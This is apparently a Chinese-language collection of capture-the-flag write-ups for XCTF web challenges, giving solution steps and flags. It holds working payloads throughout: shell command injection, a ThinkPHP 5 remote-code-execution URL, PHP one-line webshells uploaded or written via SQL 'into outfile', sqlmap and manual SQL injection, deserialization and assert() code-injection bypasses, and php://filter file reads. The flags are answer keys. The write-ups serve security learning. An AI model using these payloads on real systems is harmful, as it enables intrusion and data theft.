目录
view_source
发现右键被锁定了
方法1:关闭js,查看源码
在火狐url中输入about:config
2.在搜索框中输入JavaScript,找到javascript.enabled将其转换为false
3.这样使用火狐任何界面JavaScript均会被禁用
方法2:F12查看源码
robots
①查看robots.txt文件
robots协议(又叫伪君子协议),它是用于网站中的,为了防止网站一些铭感目录被爬虫爬取,所以特地建了一个文本文档用来表明那些目录是攻击者不能爬取的
②查看f1ag_1s_h3re.php
backup
index.php的备份文件名通常是index.php.bak
.bak通常是编辑这个文件时,自动生成的备份文件,可以用于紧急恢复 ,通常命名为xxx.bak
.git .bak .back .swp .phps .svn .bash_history .......
访问index.php.bak
cookie
burp抓包
访问cookie.php
提示See the http response
F12
cyberpeace{729f956bd8142a74a2bfb4e5a9ddd00b}
disabled_button
一个不能按的按钮
因为flag按钮设置了 disabled属性
html中的disabled属性规定应该禁用input元素,禁用后的input元素既不可用,也不可点击,导致其无法被点击
删去disabled=""
发现flag按钮可以点击,获得flag
cyberpeace{e2d8f72bfae1b2bb0855c622f8c40eb6}
get_post
正常提交
在url中提交 ?a=1
依照提示操作,post提交一个b=2
weak_auth
一个登录界面
随便尝试111 222
提示用户名是admin
用bp爆破密码
登录,admin 123456
得到cyberpeace{c55c1da34e6b8fe2f54896cd5fa1de9d}
simple_php
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b']; //get传入a和b
if($a==0 and $a){ //弱比较,如果a==0且a为真
echo $flag1;
}
if(is_numeric($b)){ //如果b是数字则退出
exit();
}
if($b>1234){ //如果b>1234
echo $flag2;
}
?>
php为弱语言
==仅表示数值相等,而且当数字和字母组成的字符串与数字进行比较时,仅会以最前面的数字参与比较
令a=0abcd,即a=0加上一串字母
同理b=12345a
?a=0abcd&b=12345a
Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}
command_execution
ping发现是一个linux系统
A;B 先执行A,再执行B
A&B 简单拼接,A B之间无制约关系
A|B 显示B的执行结果
A&&B A执行成功,然后才会执行B
A||B A执行失败,然后才会执行B
127.0.0.1 & ls
可以被运行,那就来找找文件名包含flag的文件
127.0.0.1 && find / -name "flag*"
特别慢
127.0.0.1 & find / -name flag.txt
127.0.0.1 & cat /home/flag.txt
cyberpeace{55baf80b2dae9189fcfeaa78994872fb}
xff_referer
要求:ip地址必须为123.123.123.123
bp抓包
最后一行加上X-Forwarded-For: 123.123.123.123
看到必须来源于https://www.google.com
再加上 Referer: https://www.google.com
cyberpeace{541e443f300c15bf89d5bf4784e6e9d6}
simple_js
<html
<head>
<title>JS</title>
<script type="text/javascript">
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
h = window.prompt('Enter password');
alert( dechiffre(h) );
</script>
</head>
</html>
分析源代码
密码为 \x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30
a = "\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c" \
"\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31" \
"\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"
print(a)
得到 55,56,54,79,115,69,114,116,107,49,50
再将数字以ascii转为字符
a = "\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c" \
"\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31" \
"\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"print(a)
b = [55, 56, 54, 79, 115, 69, 114, 116, 107, 49, 50]
d = ""for i in b:
c = chr(i)
d = d + c
print(d)
Cyberpeace{786OsErtk12}
Training-WWW-Robots
发现提示,访问/robots.txt
访问/f10g.php
cyberpeace{99bf2af0a1a362883235777454d185ba}
baby_web
初始页面一般是index.php
访问index.php时发现他自动跳转回了1.php
抓包
Location: 1.php
所以index.php通过302重定向1.php
flag{very_baby_web}
ics-06
发现只有一处可以进入
bp抓包,爆破id
爆出2333
url中输入?id=2333,出现flag
cyberpeace{26598f7853cc0105fd6a2defbff2e968}
PHP2
搜集目标网站的目录信息
python dirsearch -u 目标网站 -e php
python dirsearch.py -u 61.147.171.105:50259 -e php
访问php时没有回显
phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。
/index.phps 发现残留的文件
查看源码
?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]); //将id进行url解码
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
我们要把admin进行2次编码,因为get接收到之后会解码一次
得到%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
/index.php?id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
cyberpeace{7022f085ddb202ad5debcb8e803688f7}
php_rce ThinkPHP V5漏洞
可能是暗示这个版本有什么漏洞
漏洞利用:
http://xx.xx.xx.xx/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=命令参数
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "*flag*"
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
flag{thinkphp5_rce}flag{thinkphp5_rce}
flag{thinkphp5_rce}
<?php
class Demo {
private $file = 'index.php';
//构造函数,传入文件
public function __construct($file) {
$this->file = $file;
}
//析构函数
function __destruct() {
//输出$file代表的文件
echo @highlight_file($this->file, true);
}
//反序列化的时候执行
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
//如果get进来var
/*
if (isset($_GET['var'])) {
//进行base64解密
$var = base64_decode($_GET['var']);
//正则匹配
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
*/
//此时$file='fl4g.php';
$a = new Demo('fl4g.php');
$b = serialize($a);
echo $b."<br/>";
$c = str_replace('O:4','O:+4',$b);
$d = str_replace(':1:',':2:',$c);
echo $d."<br/>";
$e = base64_encode($d);
echo $e;
?>
Web_php_include 文件包含
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
//strstr()搜索字符串在另一个字符串中是否存在,如果是,返回字符串及剩余部分,否则返回false
$page=str_replace("php://", "", $page);
//str_replace(find,replace,string)用空替换$page中的php://
}
include($page);
?>
方法一:用data://数据流构造器方式
?page=data://text/plain,
base64编码
?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
?page=data://text/plain,<?php system('ls'); ?>
发现fl4gisisish3r3.php
?page=data://text/plain,<?php system('cat fl4gisisish3r3.php'); ?>
没有回显,我怀疑cat被过滤了
换成tac(tac和cat类似,也可以读取内容,但会多显示行数
?page=data://text/plain,<?php system('tac fl4gisisish3r3.php');?>
ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
方法二:data伪协议传入木马+菜刀
<?php eval($_POST['a']);?>
base64加密,得到PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+Cg==
?page=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=
连接菜刀
读取/var/www/fl4gisisish3r3.php
方法三:数据库写入马
御剑扫描后台
获得phpmyadmin
用户名root 密码空
into outfile 语句用于把表数据导出到一个文本文件中,要想mysql用户对文件进行导入导出,首先要看指定的权限目录。mysql 新版本下secure_file_priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出;
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下;
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制。
执行SHOW VARIABLES LIKE "secure_file_priv"
查看secure_file_priv是否为空,为空可以写入
写入一句话马
select "<?php eval($_POST('b'));?>" into outfile '/tmp/muma.php'
linux默认tmp是可写目录
菜刀连接
查看/var/www/fl4gisisish3r3.php
得到flag
unserialize3 反序列化
unserialize3与反序列化漏洞零基础详解-CSDN博客
#序列化
<?php
class test{
public $name = "f1r3K0";
public $age = "18";
}
$class = new test();
$class_ser = serialize($class);
print_r($class_ser);
?>
#反序列化
<?php
class test{
public $name = "f1r3K0";
public $age = "18";
}
$class = new test();
$class_ser = serialize($class);
print_r($class_ser);
$class_unser = unserialize($class_ser);
print_r($class_unser);
?>
class xctf{ //定义一个名为xctf的类
public $flag = '111'; //定义一个公有的类属性$flag,值为111
public function __wakeup(){ //定义一个公有的类方法__wakeup()
exit('bad requests'); //输出bad requests后退出当前脚本
}
}
?code= //可能是在提示?code=一个值进行利用
实例化xctf类并对其使用序列化
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a = new xctf();
echo(serialize($a));
?>
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
绕过__wakeup方法
__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
因此,需要修改序列化字符串中的属性个数
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
xctf{1038e3fd96b844fe5ac733880dc1f0e0}
upload1 文件上传
写一个一句话木马muma.php
<?php @eval($_POST['www']); echo('success'); ?>
先直接上传试一下
提示需要图片
方法一:bp抓包
发现php依然无法从浏览器发送到burp上,说明是前端校验
先改文件后缀php为jpg
上传抓包
在包中修改文件后缀为php
看一下是否真的上传成功
显示了success说明成功的
连接蚁剑
找到flag.php
cyberpeace{70c2d8846eea88037cd5e4648b315c1e}
方法二:制作图片马
cd desktop
copy lyf.jpg/b + muma.php/a yile.jpg
上传成功
http://61.147.171.105:63554/upload/1687746428.yile.jpg
菜刀连接
WarmUp 代码审计
查看源码发现提示
访问source.php
发现源代码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //白名单
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false; //没有设置$page或者$page不是字符型返回false
}
if (in_array($page, $whitelist)) { //in_array()检查数组中是否存在某个值
return true; //验证输入的是否为
白名单内容,是则返回真
}
//mb_substr()返回字符串的一部分
//mb_strpos()查找字符串在另一个字符串中首次出现的位置,没匹配到则返回字符串长度
//mb_strpos返回$page里?出现的第一个位置
//mb_substr截取?前内容,无?则全部获取
$_page = mb_substr($page,
0,
mb_strpos($page . '?', '?'));
if (in_array($_page, $whitelist)) {
return true; //如果$_page在白名单里则返回true
}
$_page = urldecode($page); //对$page进行url解码
$_page = mb_substr($_page,
0,
mb_strpos($_page . '?', '?'));
//解码后,再次截取?前的字符
if (in_array($_page, $whitelist)) {
return true; //第三次白名单验证
}
echo "you can't see it";
return false;
}
}
//主函数
if (! empty($_REQUEST['file']) //empty()用于检查一个变量是否为空,file不能为空,我们要传入一个file参数
&& is_string($_REQUEST['file']) //判断是否为string类型
&& emmm::checkFile($_REQUEST['file']) //调用checkFile,检测是否过白名单
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
白名单中发现有个hint.php,访问一下
①第一次白名单检测:
由于截取是从?开始
所以应当构造payload为source.php?或者是hint.php?
这样截取后source.php在白名单中,返回真。
②第二次白名单检测:
我们要传的参数为ffffllllaaaagggg,接受参数的变量为file
source.php?ffffllllaaaagggg之后也没有显示出flag
由于source.php被当作文件目录,没有找到相应的文件,所以需要…/尽可能多的返回到顶级目录
构造?file=source.php?/../../../../ffffllllaaaagggg
③第三次白名单检测:
url解码后为source.php?file=source.php?/../../../../ffffllllaaaagggg,截取?之前的内容为source.php,成功绕过第三次白名单检测。所以我们要先编码。
payload:
source.php?file=source.php%3F%2F..%2F..%2F..%2F..%2Fffffllllaaaagggg
或者
source.php?file=hint.php%3F%2F..%2F..%2F..%2F..%2Fffffllllaaaagggg
或者
source.php?file=source.php?/../../../../ffffllllaaaagggg
可以自己写脚本
<?php
$a = "source.php?/../../../../ffffllllaaaagggg";
echo urlencode($a);
?>
直接url编码工具
flag{25e7bce6005c4e0c983fb97297ac6e5a}
NewsCenter
一个搜索的界面
搜索关键词可以显示相应news
扫描出来一个robot.txt
但是访问不了
查看源码也没有线索
目标还是锁定搜索框
尝试sql注入
方法一:sqlmap
bp抓包
将抓包内容保存入1.txt,1.txt在桌面上
使用sqlmap
python sqlmap.py -r C:\Users\xxx\Desktop\1.txt
发现可以注入
--dbs 枚举数据库管理系统数据库
--tables 枚举DBMS数据库中的表
--columns 枚举DBMS数据库表列
-D 要进行枚举的指定数据库名
-T 要进行枚举的指定表名
-C 要进行枚举的指定列名
--dump 转储数据库表项,查询字段值
首先--dbs获取库名
python sqlmap.py -r C:\Users\xxx\Desktop\1.txt --dbs
然后--tables获取表名
python sqlmap.py -r C:\Users\xxx\Desktop\1.txt -D news --tables
接着我们--dump直接获取到flag
python sqlmap.py -r C:\Users\xxx\Desktop\1.txt -D news -T secret_table --columns
python sqlmap.py -r C:\Users\xxx\Desktop\1.txt -D news -T secret_table -C fl4g --dump
QCTF{sq1_inJec7ion_ezzz}
方法二:手工注入
查表名
1' union select 1,group_concat(table_name),database() from information_schema.tables where table_schema='news'#
查列名
1' union select 1,group_concat(column_name),database() from information_schema.columns where table_name='secret_table'#
Web_php_unserialize 反序列化
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
攻防世界之Web_php_unserialize(超详细WP)_攻防世界web_php_unserialize-CSDN博客
https://www.cnblogs.com/zhengna/p/13297816.html
__construct() 函数,当类新建对象的时候会执行,例如,$x = new Demo(要传给函数的值)
__destruct() 函数,当对象销毁后会调用,拿上面的代码来说,新建对象后,会先执行__construct() 函数,等所有函数执行完后就会执行该函数
__wakeup() 函数,会伴随反序列函数unserialize()的执行而先执行,也就是说,当执行反序列化函数的时候会先执行wakeup函数
highlight_file() 函数,用来输出指定PHP文件的代码
preg_match()函数,用来匹配一个正则表达,匹配上了就返回true,上面代码正则匹配的是不区分大小写的o:数字或者是c:数字,用来干扰反序列化的
发现提示the secret is in the fl4g.php
通过get的方式用var传参fl4g.php
函数绕过:
将传的参数进行base64编码,绕过base64_decode函数
绕过preg_match(), 使用+可以绕过,正则匹配这里匹配的是 O:4,我们用 O:+4 即可绕过。
绕过wakeup(),修改反序列化串的对象属性个数(一般大于原个数)
<?php
class Demo {
private $file = 'index.php';
}
$var = new Demo('fl4g.php');
$var = serialize($var);
var_dump($var);//打印显示string(48) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$var = str_replace('O:4', 'O:+4',$var);//绕过preg_match
$var = str_replace(':1:', ':2:',$var);//绕过wakeup
var_dump($var);//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
var_dump(base64_encode($var));#显示base64编码后的序列化字符串
//string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>
payload:
?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
supersqli
攻防世界-Web高手进阶区-supersqli(强网杯的随便注)_bfengj的博客-CSDN博客
进行union注入的时候出现
把关键词的大小写都过滤了
可以考虑堆叠注入
/?inject=1';show databases; --+
发现
supersqli
ctftraining
因为自己已经在某个库里了
/?inject=1';show tables; --+
发现1919810931114514 、words
查看表中的列
/?inject=1';show columns from `1919810931114514`; --+
发现flag
目标:获得1919810931114514表中的flag列
?inject=1';show columns from `words`; --+
发现 id、data
说明当前默认数据库查询查询的是words这张表
我们使用rename和alter这两个命令来更改表名和字段名。
因为我们可以访问words里的columns,发现id,也就是说我们输入的1默认是查询words这个表的。
因此我们可以把words表改名成words1表,把1919810931114514表改名成words,然后再把1919810931114514里面的flag字段改名成id,然后输入1’ or 1=1#就可以成功得到flag。
攻防世界-Web高手进阶区-supersqli(强网杯的随便注)_bfengj的博客-CSDN博客
把words表名改为haha
rename tables `words` to `haha`;
rename tables `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100);
?inject=1';rename tables `words` to `haha`;rename tables `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);
最后输入一个绝对正确的答案/?inject=1' or 1 --+
mfw
发现提示
联想到git泄露
扫描后台
python dirsearch.py -u http://61.147.171.105:61090/ -e php
xxxx.com/.git/
git目录是程序员合作项目遗留
确实是存在git漏洞
利用githack库下载泄漏的文件
python GitHack.py -u http://61.147.171.105:61090/.git/
下载它网站所有git的项目遗留
得到
发现当中有一个叫做flag的文档,但是查看发现什么都没有
应该是需要经过游览器特定的转换才能够看到该文件
除了下载的index.php 文件中包含有代码
<?php
if (isset($_GET['page'])) { //判断参数page是否为空
$page = $_GET['page'];
} else {
$page = "home"; //为空输出page=home
}
$file = "templates/" . $page . ".php"; //拼接形成目录路径
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
//strpos()函数,查找$file中..第一次出现的位置,查找成功则返回true,失败则返回flase
//assert()函数会将括号中的字符当成代码来执行,并返回true或false
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>My PHP Website</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Project name</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
<li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
<li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
<!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
</ul>
</div>
</div>
</nav>
<div class="container" style="margin-top: 50px">
<?php
require_once $file;
?>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
</body>
</html>
关键代码是
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
发现一个assert()函数,想到可以是任意代码执行漏洞
而且对于尝试$page没有任何的控制直接拼接
首先我们确定的最后想要的肯定是利用assert()函数执行cat ./template/flag.php获得flag
那么肯定要破坏原来的assert的结构才能,使得我们的目标才能达成
assert()函数
PHP中该函数用于’断言’,简单来说就是用于判断表达式或者是调试程序,当判断的内容是字符串的时候,该函数会将字符串作为PHP代码执行,因此存在任意代码执行的漏洞,类似于eval()函数
由于文件并没有对输入的字符进行过滤,所以可以进行语句闭合修改语句原本的意思
我们已经知道了flag位于/templates/flag.php路径下
构造如下payload:
?page=') or system('cat ./templates/flag.php');//
因为
$file = "templates/" . $page . ".php";
被传入之后变成:
$file="templates/') or system('cat ./templates/flag.php');//.php"
strpos()返回false,再利用or让其执行system函数,再用" // "将后面的语句注释掉
所以真正执行了以下语句
strpos('template/') or system('cat ./template/flag.php');
查看源码
cyberpeace{ebb8c5175bd7be6057ba69032d98ee4f}
攻防世界——mfw_攻防世界mfw_隐身的菜鸟的博客-CSDN博客
Cat
随便输了一个
发现是ping
应该是命令执行
攻防世界 | CAT - laolao - 博客园 (cnblogs.com)
使用@读取数据库信息
http://61.147.171.105:63576/index.php?url=@/opt/api/database.sqlite3
WHCTF{yoooo_Such_A_G00D_@}
inget
尝试一下admin
方法一:万能密码
?id=1' or 1=1 --+
方法二:sqlmap
python sqlmap.py -u "http://61.147.171.105:54510/index.php/?id=1" --dbs
python sqlmap.py -u "http://61.147.171.105:49874/index.php/?id=1" -D cyber --tables
python sqlmap.py -u "http://61.147.171.105:49874/index.php/?id=1" -D cyber -T cyber --columns
python sqlmap.py -u "http://61.147.171.105:49874/index.php/?id=1" -D cyber -T cyber -C pw --dump
cyberpeace{96f5b526e15511a792346e7961d7ff52}
fileclude
WRONG WAY! <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
//如果file1和file2都不是空的
{
if(file_get_contents($file2) === "hello ctf")
如果file2的内容是hello ctf
{
include($file1);
}
}
else
die("NONONO");
}
http://61.147.171.105:61720/?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello%20ctf
PD9waHAKZWNobyAiV1JPTkcgV0FZISI7Ci8vICRmbGFnID0gY3liZXJwZWFjZXsxNTMwZTE0MDEzZDM3NDcyYjQ0MjA0MDk3NzlkMDQxN30=
是base64
解密得cyberpeace{1530e14013d37472b4420409779d0417}
ics-05
一个管理系统
题目提示:
其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统
用设备维护中心
http://61.147.171.105:51517/index.php/?page=index
有点像文件包含
http://61.147.171.105:51517/index.php/?page=php://filter/read=convert.base64-encode/resource=index.php
一堆base64,解密
<?php
error_reporting(0);
@session_start();
posix_setuid(1000);
?>
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<link rel="stylesheet" href="layui/css/layui.css" media="all">
<title>设备维护中心</title>
<meta charset="utf-8">
</head>
<body>
<ul class="layui-nav">
<li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
</ul>
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
<legend>设备列表</legend>
</fieldset>
<table class="layui-hide" id="test"></table>
<script type="text/html" id="switchTpl">
<!-- 这里的 checked 的状态只是演示 -->
<input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
</script>
<script src="layui/layui.js" charset="utf-8"></script>
<script>
layui.use('table', function() {
var table = layui.table,
form = layui.form;
table.render({
elem: '#test',
url: '/somrthing.json',
cellMinWidth: 80,
cols: [
[
{ type: 'numbers' },
{ type: 'checkbox' },
{ field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
{ field: 'name', title: '设备名', templet: '#nameTpl' },
{ field: 'area', title: '区域' },
{ field: 'status', title: '维护状态', minWidth: 120, sort: true },
{ field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
]
],
page: true
});
});
</script>
<script>
layui.use('element', function() {
var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
//监听导航点击
element.on('nav(demo)', function(elem) {
//console.log(elem)
layer.msg(elem.text());
});
});
</script>
<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />
<?php
}else{
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php
if (strpos($page, 'input') > 0) {
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />
<?php
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
</body>
</html>
发现重点是
如果'HTTP_X_FORWARDED_FOR'] === '127.0.0.1'
则输出Welcome My Admin !
所以抓包,添加X-Forwarded-For:127.0.0.1
fileinclude
御剑扫了一下后台
先看一下chinese.php和english.php
都提示flag在flag.php
访问flag.php,页面为空
emm,看了一下原页面的源码!
发现提示咯
<?php
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
error_reporting(E_ALL);
//将cookie中language的值赋给变量lan
$lan = $_COOKIE['language'];
if(!$lan) //如果变量lan为空
{
//将名为language的cookie的值设为english
@setcookie("language","english");
//包含english.php文件
@include("english.php");
}
else //变量lan不为空
{
//文件包含,变量lan内容后加上后缀.php
@include($lan.".php");
}
//将index.php文件的内容读取并赋值给变量x
$x=file_get_contents('index.php');
echo $x;
?>
所以我们要在cookie中添加一个变量language
language的内容为
php://filter/read=convert.base64-encode/resource=/var/www/html/flag
PD9waHANCiRmbGFnPSJjeWJlcnBlYWNlezc1MjBmZmQ0NTJjYThmMTNhYzg2MmVhNzI5YmU5YTdhfSI7DQo/Pg==
base64解码得
$flag="cyberpeace{7520ffd452ca8f13ac862ea729be9a7a}";